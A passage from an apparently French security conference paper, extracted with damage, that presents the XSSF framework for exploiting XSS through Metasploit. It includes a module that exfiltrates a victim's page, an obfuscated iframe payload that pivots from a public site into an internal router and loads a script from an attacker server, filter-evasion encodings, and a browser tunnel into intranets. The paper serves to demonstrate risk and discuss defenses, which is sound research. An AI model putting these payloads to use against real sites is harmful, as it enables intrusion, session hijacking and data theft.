C Mise a profit des nouveaux elements de partage de ressources entre domaines offertspar le HTML5 Grace a eux il sera possible de realiser un POST simplementen AJAX en utilisant lrsquoobjet XMLHttpRequest (ou XDomainRequest sur IE)Lrsquoavantage est que les donnees transferees peuvent avoir une taille importanteet que lrsquoutilisateur ne sera pas averti de lrsquoechange de donnees (en HTTP commeen HTTPS) Lrsquoinconvenient majeur a cette solution est qursquoelle est seulementcompatible avec les dernieres versions des navigateurs actuels (celles supportantla fonctionnalite de Cross-Origin Resource Sharing (C-ORS) )

HTTP HTTPS

SO

LU

TIO

NB

Co

mpa

tibl

eto

us

na

viga

teu

rs

C-ORS SUPPORTE C-ORS NON SUPPORTE

SOLUTION CIE 8+ FF 35+ Safari 4+

Chrome Android Browser 21+iOS Safari 32+

SOLUTION BoplusUtilisateur probablement averti oplus

IE 7- FF 3- Safari 32-Opera

Table 2 Solution retenue pour le retour des donnees depuis la victime vers XSSF

316 XSSF demontrer le danger des XSS

La solution actuellement mise en place permet un fonctionnement des echangesdans la majorite des cas Bien entendu cette solution ne concerne que les donneesenvoyees depuis les victimes vers le serveur drsquoattaque Ce choix ne remet pas en causela possibilite drsquoutilisation des attaques ne necessitant pas de reponse (quelque soit lenavigateur) En effet comme nous lrsquoavons vu precedemment lrsquoenvoi des attaques sefait avec la solution A compatible avec tous les navigateurs

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT

Lancement de Metasploit

Lancement de XSSF

Deacutemarrage du serveur maicirctre XSSF (IP XXXXY)

Injection du script malicieux (ltscript src=httpXXXXYloopinterval=3gt

Connexion agrave lapplication

Appel du fichier loop

Enregistrement dune nouvelle victime

Envoi du fichier loop (JavaScript)

Mise en attente 3 secondes

Demande de code agrave exeacutecuter

Mise en attente 3 secondes

Mise en attente dun eacutevegravenement (code) pour la victime

Recherche de code pour la victime

Demande de code agrave exeacutecuter

Recherche de code pour la victime

404 No code

200 Envoi du code agrave exeacutecuter

Exeacutecution du code partie client

Envoi des reacutesultats (facultatif)

Sauvegarde des reacutesultats

Demande des reacutesultats dattaques (logs)

Geacuteneacuteration des logs

Affichage des logs et statistiques en temps reacuteel

Mise en attente 3 secondes

200 OK

Figure 5 Fonctionnement de XSSF

L Courgnaud 317

En plus de la boucle permettant de recuperer des attaques le code envoye lors dela demande de la ressource rsquolooprsquo comprend donc une bibliotheque de fonctions quelrsquoattaquant pourra utiliser dans ses modules drsquoattaques notamment une fonction derecuperation de donnees Bien entendu grace a la gestion des attaques par le noyauXSSF un attaquant pourra utiliser les fonctions fournies par le framework drsquoou il lesouhaite meme a lrsquointerieur drsquoIFRAMES qursquoil aura cree (le framework se charge derajouter a la volee la bibliotheque de fonctions lors de lrsquoarrivee des donnees depuis unserveur esclave)

Ainsi nous avons donc bien reussi a realiser les GET et POST necessaires et cemalgre la SOP Le canal de communication avec la victime est donc bi-directionnel la victime peut demander des commandes et repondre au serveur dans la majoritedes cas La recuperation de donnees reste cependant limitee (pour le moment) lorsquela victime utilise un navigateur ancien sur un domaine en HTTPS

34 Attaques XSSF

Maintenant que nous avons detaille le fonctionnement general de XSSF nousallons pouvoir expliquer les possibilites offertes par chaque module drsquoattaque Ceux-ciservent a realiser une attaque directement liee a une faille XSS (souvent en JavaScript)Ils doivent pouvoir etre implementes par nrsquoimporte qui facilement et sans avoir aconnaitre le fonctionnement du noyau de XSSF

Un module XSSF est compose de deux grandes parties

Lrsquoinitialisation permet de definir les informations et parametres du module a insererdans Metasploit lors de son utilisation

Le serveur web defini les actions a realiser par le serveur esclave lorsqursquoil recoitune requete (depuis le serveur maıtre)

class Metasploit3 lt Msf Auxiliary

include MsfXssf XssfServer

Module initialization

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoWebPage Saver rsquo

rsquoDescription rsquo =gt rsquoSaves current page viewed by the victim rsquo

))

end

318 XSSF demontrer le danger des XSS

Part sent to the victim insert your code here

def on_request_uri(cli req)

send_response(cli Q XSSF_POST(documentdocumentElementinnerHTML

rsquoselfnamersquo) )

end

end

Sur cet exemple nous retrouvons bien les deux parties Lrsquoinclusion au depart de XssfServer permet de charger le module (au sens Ruby) de gestion des serveursesclaves (ce module implemente un module de serveurs drsquoattaques deja fourni parMSF pour les exploits)

Lrsquoinitialisation du module permet de redefinir des informations propres (nom etc)mais aussi drsquoen rajouter Toutes ces informations et options sont automatiquementstockees dans un objet datastore defini par Metasploit Dans XssfServer desinformations par defaut pour tous les modules lrsquoimplementant sont deja definies

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoXSSF MODULE rsquo

rsquoDescription rsquo =gt rsquoXSSF MODULE rsquo

rsquoAuthor rsquo =gt rsquoConix Security rsquo

rsquoLicense rsquo =gt MSF_LICENSE

))

register_options(

[

OptStringnew(rsquoVictimIDs rsquo [false rsquoIDs of the victims to send code

Examples 1 3-5 ALL NONErsquo rsquoALLrsquo])

] MsfXssf XssfServer

)

deregister_options(rsquoSSLrsquo rsquoSSLVersion rsquo)

end

On trouve une option rajoutee qui permet lors de lrsquoutilisation drsquoun moduleimplementant XssfServer de specifier la liste des victimes a attaquer (toutes pardefaut)

Ensuite on trouve dans chaque module XSSF la methode on request uri definie par XssfServer comme celle etant appelee a chaque nouvelle requete versun serveur esclave Elle prend en parametres le client (au sens socket) et la requeteeffectuee Comme nous lrsquoavons vu precedemment le client sera en fait le serveur

L Courgnaud 319

maıtre (jouant un role de proxy entre les victimes et les serveurs esclaves)

Cette methode permet de renvoyer une reponse au client par lrsquointermediaire de lafonction send response qui prend deux parametres obligatoires (client et coderenvoye) et un parametre facultatif (entetes HTTP) Le code construit est une chaınequi peut contenir directement du JavaScript ou du code HTML Crsquoest ensuite leserveur maıtre qui fera la difference entre les deux Dans tous les cas la reponseenvoyee a la victime sera un script si le code attendu est du HTML le serveur maıtrese chargera de creer une IFRAME en JavaScript afin drsquoy inserer le code On constateaussi lrsquoutilisation de la fonction POST qui permettra de renvoyer une reponse vers leserveur drsquoattaque Ici aussi crsquoest le serveur maıtre qui va permettre lrsquoacces a cettefonction depuis nrsquoimporte ou en toute transparence pour la victime et la personnecreant le module

Bien entendu chaque module peut faire appel a des ressources supplementairesLorsque la victime demandera a nouveau la ressource au serveur maıtre si la ressourceest un fichier connu (les fichiers XSSF ndash images pdf etc ndash sont stockes dans unrepertoire defini) il la renverra directement sinon il la demandera automatiquementau serveur esclave associe a la victime (si elle est en cours drsquoattaque)

Au fil du temps chaque victime peut recevoir autant drsquoattaques que lrsquoattaquant ledesire mais seulement une seule a la fois En revanche plusieurs attaques differentessur des victimes distinctes peuvent avoir lieu en meme temps (drsquoou lrsquointeret de lesidentifier) Chaque victime dispose drsquoune file drsquoattente en base de donnees pourrecuperer ses attaques une par une

Lrsquoutilisation drsquoun module XSSF se fait exactement de la meme maniere que pourles modules MSF (avec la commande use ) Il en est de meme pour le lancementdrsquoun module (commandes run exploit ou exploit -j pour lancer lemodule en tache de fond)

On constate donc bien ici le lancement de lrsquoattaque save page sur la victime5 Lorsqursquoelle demandera si une attaque lui est destinee le serveur maıtre contacterale serveur esclave lance afin de recuperer le code a envoyer

Cote victime apres la reception du javascript loop initial une page drsquoerreur404 (Not Found) est renvoyee signe que le serveur maıtre nrsquoa aucune attaque pour lemoment Lorsque lrsquoon execute le module decrit precedemment le code est envoye a la

320 XSSF demontrer le danger des XSS

Figure 6 Execution drsquoune attaque XSSF sur les victimes actives

Figure 7 Execution drsquoune attaque cote victime

victime qui peut lrsquoexecuter

Bien entendu comme pour chaque module Metasploit les informations des mo-dules XSSF sont disponibles dans la console On retrouve les parametres propres aumodule (aucun dans le cas present) ceux herites du module XssfServer (Victi-mIDs) et ceux herites de MSF (le reste)

Afin drsquoillustrer le plus simplement possible le fonctionnement drsquoun module drsquoat-taque XSSF lrsquoexemple montre ici est des plus triviaux Beaucoup drsquoautres modulesdrsquoattaques sont presents le but etant drsquoamener la communaute a participer afin decreer des scenarios drsquoattaques interessants pour faire prendre conscience des possibilitesoffertes par les XSS et surtout de leur simplicite drsquoexploitation

35 Exploits MSF depuis XSSF

Afin de rendre ce framework XSS le plus complet possible et de lrsquointegrer totale-ment a MSF il est important drsquoavoir la possibilite de lancer des exploits MSF depuis

L Courgnaud 321

une vulnerabilite XSS Bien evidemment les exploits possibles sont ceux destines auxdifferents navigateurs

Le fonctionnement est relativement simple puisqursquoil suffit de lancer un exploit enprecisant qursquoil doit se lancer en tache de fond

Tous les modules lances en tache de fond sont consideres comme etant des jobs par Metasploit

Figure 8 Modules lances en tache de fond sur Metasploit

Le lancement de lrsquoattaque avec la commande xssf exploit [VictimIDs]

[JobID] entraıne la mise en attente drsquoune nouvelle attaque pour la ou les vic-time(s) choisie(s)

Figure 9 Lancement drsquoun exploit MSF sur une victime choisie avec XSSF

Ici le code sera donc bien renvoye a la victime lorsque celle-ci en fera la demandeA la suite de lrsquoexecution du code une session sera disponible et la prise de controleest effectuee avec une simple XSS ciblee

Une fois de plus crsquoest le serveur maıtre qui va gerer la facon dont sont charges lesmodules cote victime (gestion de jeux drsquoIFRAMES de scripts etc) Tous les modulesMetasploit peuvent donc etre utilises avec XSSF Ainsi une simple injection de scriptgenerique ( loop ) pourra entraıner lrsquoexecution de nrsquoimporte quelle attaque XSSFou exploit MSF sur nrsquoimporte quelle victime

322 XSSF demontrer le danger des XSS

36 Automatisation des attaques

Il est possible grace au framework XSS drsquoautomatiser les attaques a lancer Cecipermet de placer automatiquement une liste drsquoattaques dans la file drsquoattente de toutesles nouvelles victimes Lrsquoattaquant nrsquoa ainsi pas a lancer les attaques a chaque foispour une victime ou un groupe de nouvelles victimes

Les attaques automatiques peuvent etre de nrsquoimporte quel type (XSSF ou exploitMSF) et les modules correspondants doivent etre lances en tache de fond avant deles rajouter en attaque automatique

37 Fiabilisation des attaques

Comme pour les attaques applicatives il est important de fiabiliser une attaqueXSS afin de garder une connexion avec la victime apres son depart de la pagevulnerable Ce maintien de la connexion nrsquoest pas assure par le framework mais parses modules Pour le moment il existe un seul module de fiabilisation (ghostifyrb)mais de nouveaux peuvent venir se rajouter Celui actuellement present permetdrsquoanalyser la page afin de remplacer les hyperliens de type ltagt et de rajouterune fonction lors drsquoun clic Ainsi lorsque lrsquoutilisateur quitte la page en suivant unlien une fenetre (de petite taille) est ouverte et placee en arriere plan permettant degarder lrsquoutilisateur sur la page malicieuse

On peut imaginer drsquoautres modules de ce type avec par exemple un modulepermettant de recharger la page actuelle dans une IFRAME afin de toujours garderlrsquoutilisateur sur le meme domaine

38 Resultats et statistiques drsquoattaques

Figure 10 Page HTML de resultats drsquoattaques

Enfin pour venir completer lrsquoutilisation du framework lrsquoimportation des resultatset statistiques drsquoattaques est rendue possible grace a la commande xssf import attacks

L Courgnaud 323

Figure 11 Statistiques drsquoattaques en temps reel

[VictimID] Le framework se charge de generer dynamiquement une page de logs(au format HTML) comprenant les attaques envoyees et les reponses recues ainsiqursquoune page de statistiques actualisees en temps reel

39 Recapitulatif par rapport a lrsquoexistant

Lors du debut du projet XSSF il y a a peu pres un an certains outils existaientdeja Cependant la possibilite drsquoutiliser Metasploit afin de realiser des exploits cibleset lrsquointegration drsquoun tunnel ont etes les elements declencheurs a la realisation drsquounnouvel outil En effet ces deux elements permettent de montrer des possibilites moinsconnues et plus redoutees dans les entreprises (un vol de cookie dans un reseauinterne depuis lrsquoexterieur etant inutile)

XSSShellXSSTunnel

BeEF XeeK XSSF

Codes sup-portes

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScriptHTML

Base dedonnees

MS Access Fichiersimple

MySQL SQLite3MySQLPostgreSQLetc (cellessupporteespar RubyOn Rails)

324 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Serveur IIS 5 ousuperieur

Quelconquesupportantle PHP

Quelconquesupportantle PHP

Embarquefourni parRuby

Taille to-tale ducode (sansles mo-dules)

env 310Ko env 400Ko env 250Ko env 65Ko

Taille ducode ini-tialementenvoye auxvictimes

326Ko 43Ko 169Ko 51Ko

Chargementdynamiquedes at-taques

Non (toutesenvoyeesdirectementau debut etexecutees surdemande)

Oui Oui Oui

Constructiondrsquoun liencontenantune seuleattaqueXSS

Non Non Oui(construc-tion drsquouneURLspecifiquea une seuleattaque oua une listedrsquoattaques)

Oui (dela mememaniere queles exploitsMSF)

Prise encharge desexploitsMSF

Non Oui (redirec-tion de la vic-time vers leserveur drsquoat-taque MSF)

Non Oui (di-rectementdans XSSFen tantque serveurmaıtreesclave)

L Courgnaud 325

XSSShellXSSTunnel

BeEF XeeK XSSF

Langages Portabilite

ASPNET -Windows

PHP - Por-table

PythonPHP -Portable

Ruby - Por-table

Client gra-phique

Oui (webet appli-catif pourXSSTunnel)

Oui (web) Oui (web) Oui (web etJava)

Clientconsole

Non Non Oui (inspireede MSF)

Oui (celle deMSF)

Multi-attaquants

Oui Oui Oui Oui(XMLRPC +Armitage)

Attaquesautoma-tiques

Non Oui Oui Oui

TunnelXSS

Oui (Instal-lation drsquouneapplicationWindows)

Non Non Oui (Bi-naire)

Obfuscationde code Bypass desfiltres XSS

Non Non Non Non

Generationde rapports

Non (logs af-fiches a lavolee )

Non (logs af-fiches a lavolee )

Oui Oui

SeparationClient Serveur

Non Non Oui Non

326 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Ajout pos-sible drsquoat-taques(sansconnais-sance dunoyau)

Difficilement(en dur dansle code)

Oui Oui Oui (mo-dules)

Gestion parmodules

Non pasde notionde modulesfonctionsJavaScriptintegrees aucode

Oui (3 fi-chiers parmodules [jsphp et txt]

Oui (un fi-chier js parmodule)

Oui (un fi-chier rb parmodule)

Gestion demasse desvictimes

Oui Difficilement(utilisationde sqlite3donc drsquounfichier avecdes acceslimites)

Oui Oui

Installation Informationspour la BDet le serveurIIS a entrerdans unfichier deconfigura-tion

Mise enplace desfichiers surun serveurweb

Informationssur la BDet le serveura modifierdans le code

InstallerMSF ety copierles fichiersXSSF

Table 3 Comparaison de XSSF par rapport aux outilsexistants

Note cette comparaison a ete realisee avec la version de BeEF avant son portageen ruby (debute en octobre 2010) Certains elements ne sont plus a jour notamment

L Courgnaud 327

concernant lrsquointegration des attaques Metasploit qui semble etre meilleure Pourlrsquoinstant la nouvelle version est en beta et ne fonctionne pas totalement crsquoest pour-quoi lrsquoancienne version a ete gardee pour cette comparaison Le projet XSSShell XSSTunnel nrsquoest plus maintenu son auteur ayant rejoint le projet BeEF Quant auprojet XeEK il ne semble pour lrsquoinstant plus evoluer

Bien evidemment le gros avantage de XSSF par rapport aux autres est sonintegration dans un outil deja tres connu et enormement utilise pour les tests drsquointru-sion Lrsquoinstallation de XSSF est relativement simple et nous esperons pour le futurune integration officielle dans le Framework Metasploit Pour finir lrsquointeret majeurpar rapport aux outils actuellement existants est la possibilite drsquoutiliser un tunnelXSS afin de recuperer les pages (du domaine vulnerable) telles qursquoelles sont vues parla victime

4 Rebond et tunnel XSS

Dans cette section nous allons voir en detail une fonctionnalite importante offertepar le plugin XSSF interessante malgre les limitations de la SOP lrsquoencapsulation derequetes dans un tunnel XSS Nous verrons au travers drsquoun exemple concret lrsquoutiliteque peut avoir un rebond lors drsquoune attaque XSS et notamment lors de la mise enplace drsquoun tunnel XSS

Le principe choisi pour lrsquoexemple est simple lrsquoattaquant ayant connaissance drsquouneXSS (volatile) situee sur une application drsquoun reseau interne veut etre capable de na-viguer sur le domaine vulnerable a partir de son propre navigateur Bien evidemmentlrsquoattaquant nrsquoa aucun acces au reseau interne et de ce fait aucun acces a lrsquoapplicationLrsquoexemple choisi est base sur une vulnerabilite XSS obtenue avec une installationpar defaut de WampServer 11 mais pourrait etre reproduit exactement de la memefacon avec une XSS sur une interface web drsquoun element reseau (routeur firewalletc) ou les controles sont souvent negliges et les identifiants par defaut inchanges La vulnerabilite est donc presente sur la page httplocalhostlang=en alrsquointerieur du parametre lang

La premiere chose a laquelle on peut penser est drsquoattaquer une ou plusieurspersonnes internes au reseau (ayant acces a lrsquoapplication vulnerable) de deux manieressimples

11 httpwwwwampservercom

328 XSSF demontrer le danger des XSS

ndash Envoi (en masse) drsquoune URL contenant le code malicieux ( httpxssf_

serverloop ) vers la page du reseau interne ndash Facilement detectable par les victimes potentiellesndash Forte probabilite que la victime ne reste pas connectee bien longtemps

ndash Mise en place drsquoun site malicieux par lrsquoattaquant ndash Facilement detectable par les victimes potentiellesndash Temps de connexion dependant entierement de lrsquoattrait du site malicieux

Quelle que soit la methode retenue on constate qursquoil y a beaucoup de chancesde perdre le lien avec les victimes assez rapidement La duree de vie drsquoune XSSetant intimement liee a la duree drsquoaffichage de la page la contenant il va donc falloirtrouver une solution afin drsquoaugmenter les chances que la victime reste connecteeplus longtemps permettant ainsi a lrsquoattaquant de realiser plus drsquoactions dans la duree

Crsquoest donc la tout lrsquointeret drsquoun rebond nous allons utiliser un site (vulnerable)de grande consultation afin de rendre lrsquoattaque moins suspecte et de garder un tempsde connexion plus long avec les victimes Generalement un rebond consiste a attaquerune machine par lrsquointermediaire drsquoune autre machine afin de masquer les tracespermettant de remonter a lrsquoattaquant par exemple Pour les XSS un rebond consistea se servir drsquoune XSS sur un domaine afin de rebondir et drsquoacceder a drsquoautres domainesvulnerables Bien evidemment a cause de la SOP il sera impossible de rebondir surdrsquoautres domaines non vulnerables aux failles de type XSS Il est donc forcement plusinteressant drsquoexploiter une XSS sur une page ayant une courte duree de vie (page dereseau interne etc) a partir drsquoune page ayant une duree de vie plus longue (reseausocial page multimedia etc)

Par le passe on trouve plusieurs exemples de ce type dont un demontre a laBlack Hat 2010 12 Le chercheur dans son communique intitule How I met yourgirlfriend a montre comment localiser une personne grace a une XSS sans se servirde son IP Il se sert en fait drsquoune faille XSS sur un site pour rebondir sur une failleXSS dans lrsquointerface drsquoadministration des routeurs FiOS (Verizon) dans laquelle ilse connecte avec les identifiants par defaut (souvent inchanges) afin de recupererlrsquoadresse MAC du routeur Puis il utilise les nouveaux services Google pour retrouverles coordonnees GPS des victimes Bien evidemment il avait aussi un acces total atoute la configuration du routeur

12 Conference organisee sur le theme de la securite informatique

L Courgnaud 329

Pour en revenir a notre probleme la prochaine etape est donc de debusquer unsite vulnerable aux failles de type XSS ou les personnes visees seront susceptiblesde rester assez longtemps pour que lrsquoattaquant puisse realiser le maximum drsquoactionsTache plutot simple au vu de la frequence de rencontre des XSS et au vu de lafrequentation grandissante des sites a contenu multimedia illegaux suite a la miseen place de HADOPI 13 Utilisons donc la page httpwwwsite-de-streaming

comstreamingphpp=2943 par exemple dont le parametre vulnerable p vanous permettre de rester lies avec la victime plus longtemps

Dans un premier temps on peut donc injecter directement un script liant lavictime a XSSF p=2943gt20ltscript20src=httpxssf_serverloopgt

ltscriptgt Probleme le contenu multimedia ne sera pas charge en raison delrsquoutilisation drsquoun mauvais ID et lrsquoutilisateur sera averti du mauvais fonctionnementde la page

Nous allons donc inserer directement un code un peu plus complexe en realisantle rebond vers le serveur interne vulnerable

http wwwsite -de -streamingcom streamingphpp=2943 gt ltscript gt

documentbodyinnerHTML = rsquoltiframe width=0 height =0 src=http 19216811

lang=en22lt script src =22 http xssf_server 8888 loop22gtltscript gtgt

ltiframe gtltiframe src=http wwwsite -de -streamingcomstreamingphpp=2943

style= margin 0px padding 0px height 175 border none display

block width 100 border none overflow -y hidden overflow -x hidden

frameborder =0 scrolling =autogt ltiframe gtrsquo

ltscript gt

Le code precedent va permettre de charger deux IFRAMES dans la page ndash La premiere permet de realiser le rebond vers lrsquoapplication interne et de lier

la victime au serveur XSSF On notera qursquoil est aussi possible drsquoutiliser unmodule XSSF pour realiser le rebond Ici pour plus de simplicite le rebond sefait directement lors de lrsquoattaque La victime liee a XSSF est donc directementreconnue comme etant sur le domaine vulnerable http1921681180

ndash La seconde permet de re-afficher la page a lrsquoutilisateur avec un ID de contenumultimedia valide le laissant ainsi visionner la video De plus la page etantmaintenant chargee dans une IFRAME et le rebond dans une autre lrsquoutilisateurpeut continuer a naviguer (par les liens de la page) sans que la connexion avecXSSF ne soit rompue Bien entendu les IFRAMES sont configurees afin que lestyle de la page soit inchange

13 httpfrwikipediaorgwikiLoi Creation et Internet

330 XSSF demontrer le danger des XSS

Bien que fonctionnelle si cette URL est envoyee en masse ou par envois ciblesles chances sont assez grandes pour que lrsquoutilisateur se doute qursquoun code est inseredans lrsquoURL De plus comme la solution contient plusieurs niveaux de guillemets (rsquordquo 22) nous utiliserons donc un encodage numerique (pour les caracteres entre lesbalises ltscriptgt ) pour ne pas creer drsquoerreurs drsquointerpretation par le navigateur

httpwwwsite-de-streamingcomstreamingphpname=death_tunnelamp

movie_id_url=2943ampp1=trueampp2=falseampp3=falseampp4=falseampp5=trueamp

p6=falseampp7=falseamppage=movie_streamingamptime=1303948281772ampp=2943gt

ltscriptgteval(StringfromCharCode(10011199117[]623959))

ltscriptgt

Des parametres ont ete ajoutes afin de deplacer la partie effectivement malicieusedu code pour qursquoelle nrsquoapparaisse pas dans la barre drsquoadresses du navigateur On peutpour finir raccourcir le lien afin de lrsquoenvoyer plus simplement httpgooglZ1jI9

Maintenant que nous avons realise le rebond XSS afin de garder la victime leplus longtemps possible et que celle-ci est liee par le domaine vulnerable http

1921681180 nous allons pouvoir passer a la tunnelisation par XSS Dansles reseaux informatiques un tunnel est en fait une encapsulation de donnees drsquounprotocole reseau dans un autre Pour faire la comparaison avec les XSS on ne parlerapas de protocoles mais plutot drsquoencapsulation de requetes HTTP dans du JavaScriptLe but de la manipulation etant donc de naviguer a partir du navigateur de lrsquoattaquantsur une application du reseau interne normalement inaccessible depuis lrsquoexterieur

Le principe de notre tunnel est simple puisque la SOP autorise la victime aeffectuer des requetes sur le domaine vulnerable actuel ( http1921681180 )nous allons nous en servir comme proxy afin de naviguer sur son domaine a sa place

Lrsquoattaquant va donc pouvoir configurer son navigateur pour passer par XSSFcomme proxy et realiser une requete sur le domaine http1921681180 (1)La requete HTTP est ensuite envoyee au serveur drsquoattaque (2) qui srsquooccupe de latransformer en requete comprehensible par la victime (3) une simple requete enAJAX suffit Toutes les requetes envoyees par le navigateur sont gardees en memoiredans XSSF en attendant que la victime vienne demander ses commandes Une foisle code (requete AJAX ou liste de requetes) transmis par XSSF (4) la victime vapouvoir lrsquoexecuter (5) et recevoir une reponse du serveur interne vulnerable (6) Cettereponse sera renvoyee au serveur XSSF en tant que reponse a une attaque (7) et leserveur drsquoattaque pourra enfin retourner la reponse au navigateur (8) Lrsquoattaquantpeut ainsi visualiser le domaine comme srsquoil etait la victime puisque crsquoest elle qui varealiser toutes ces requetes

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

